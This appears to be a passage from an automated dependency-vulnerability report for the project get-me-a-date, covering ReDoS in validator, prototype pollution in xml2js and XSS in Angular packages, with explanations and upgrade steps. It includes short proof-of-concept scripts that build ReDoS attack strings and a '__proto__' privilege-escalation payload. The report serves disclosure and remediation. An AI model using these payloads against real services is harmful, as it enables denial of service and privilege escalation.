Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@5.21.13 and serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13 › validator@10.11.0
    Remediation: Upgrade to sequelize@5.22.5.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › hapi-swagger@13.1.0 › swagger-parser@4.0.2 › z-schema@3.25.1 › validator@10.11.0

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@5.21.13 and serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13 › validator@10.11.0
    Remediation: Upgrade to sequelize@5.22.5.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › hapi-swagger@13.1.0 › swagger-parser@4.0.2 › z-schema@3.25.1 › validator@10.11.0

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: xml2js
  • Introduced through: aws-sdk@2.853.0

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › aws-sdk@2.853.0 › xml2js@0.4.19
    Remediation: Upgrade to aws-sdk@2.1354.0.

Overview

Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.

PoC

var parseString = require('xml2js').parseString;

let normal_user_request    = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";

const update_user = (userProp) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    parseString(userProp, function (err, user) {
        if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
            console.log("Unauthorized Action");
        } else {
            console.log(user?.role[0]);
        }
    });
}

update_user(normal_user_request);
update_user(malicious_user_request);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade xml2js to version 0.5.0 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/compiler
  • Introduced through: @angular/compiler@11.2.3

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/compiler@11.2.3
    Remediation: Upgrade to @angular/compiler@20.3.28.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via incorrect computation of security contexts for host bindings. The ingestHostBinding function and the sanitizer resolution pipeline fail to evaluate security contexts against the concrete host element, including host directives, inherited directives, dynamically applied directives, and elements supplied via createComponent hostElement, allowing an attacker to inject unsanitized values into security-sensitive properties (such as href or xlink:href on SVG and MathML elements) through Angular host bindings, leading to cross-site scripting.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 20.3.28, 21.2.20, 22.1.0 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/core
  • Introduced through: @angular/core@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/core@4.4.4
    Remediation: Upgrade to @angular/core@19.2.23.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the createComponent mechanism. An attacker can execute arbitrary JavaScript code in the context of the user's browser by mounting a dynamic component onto a <script> or namespaced script element when user-controlled input is passed as the selector or host element and no additional input sanitization is performed.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 19.2.23, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/core
  • Introduced through: @angular/core@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/core@4.4.4
    Remediation: Upgrade to @angular/core@20.3.28.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via incorrect computation of security contexts for host bindings. The ingestHostBinding function and the sanitizer resolution pipeline fail to evaluate security contexts against the concrete host element, including host directives, inherited directives, dynamically applied directives, and elements supplied via createComponent hostElement, allowing an attacker to inject unsanitized values into security-sensitive properties (such as href or xlink:href on SVG and MathML elements) through Angular host bindings, leading to cross-site scripting.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 20.3.28, 21.2.20, 22.1.0 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/core
  • Introduced through: @angular/core@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/core@4.4.4
    Remediation: Upgrade to @angular/core@11.0.5.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in development, with SSR enabled.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 11.0.5, 11.1.0-next.3 or higher.

References

low severity

Use of Cache Containing Sensitive Information

  • Vulnerable module: @angular/common
  • Introduced through: @angular/common@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/common@4.4.4
    Remediation: Upgrade to @angular/common@19.2.23.

Overview

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information via the HttpTransferCache utility. An attacker can access sensitive user-specific information by making requests to pages that have been cached by a shared caching layer after another user has authenticated and triggered credentialed requests during server-side rendering.

Note: This is only exploitable if server-side rendering and hydration are enabled, credentialed HTTP requests are performed during SSR, and the SSR-rendered HTML is cached by a shared caching layer without proper cache-control headers to distinguish authenticated users.

Remediation

Upgrade @angular/common to version 19.2.23, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/compiler
  • Introduced through: @angular/compiler@11.2.3

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/compiler@11.2.3
    Remediation: Upgrade to @angular/compiler@20.3.27.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the compiler's i18n metadata collection path, which lets event-handler attributes be marked translatable with i18n-on* (such as i18n-onerror), bypassing the validation that normally blocks binding to event-handler attributes like onclick and onerror. An attacker can execute arbitrary JavaScript in the application's origin by supplying translation content for such an attribute, for example replacing the handler in <img src="foo.jpg" onerror="void 0" i18n-onerror />. This requires a static event-handler attribute to be marked for translation with i18n-on* in a template and the application to localize using translation files from a source the attacker can influence.

Workaround

This vulnerability can be avoided by never marking static event-handler attributes for internationalization with i18n-on* and by sourcing translation files only from trusted origins.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 20.3.27, 21.2.19, 22.0.1 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/compiler
  • Introduced through: @angular/compiler@11.2.3

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/compiler@11.2.3
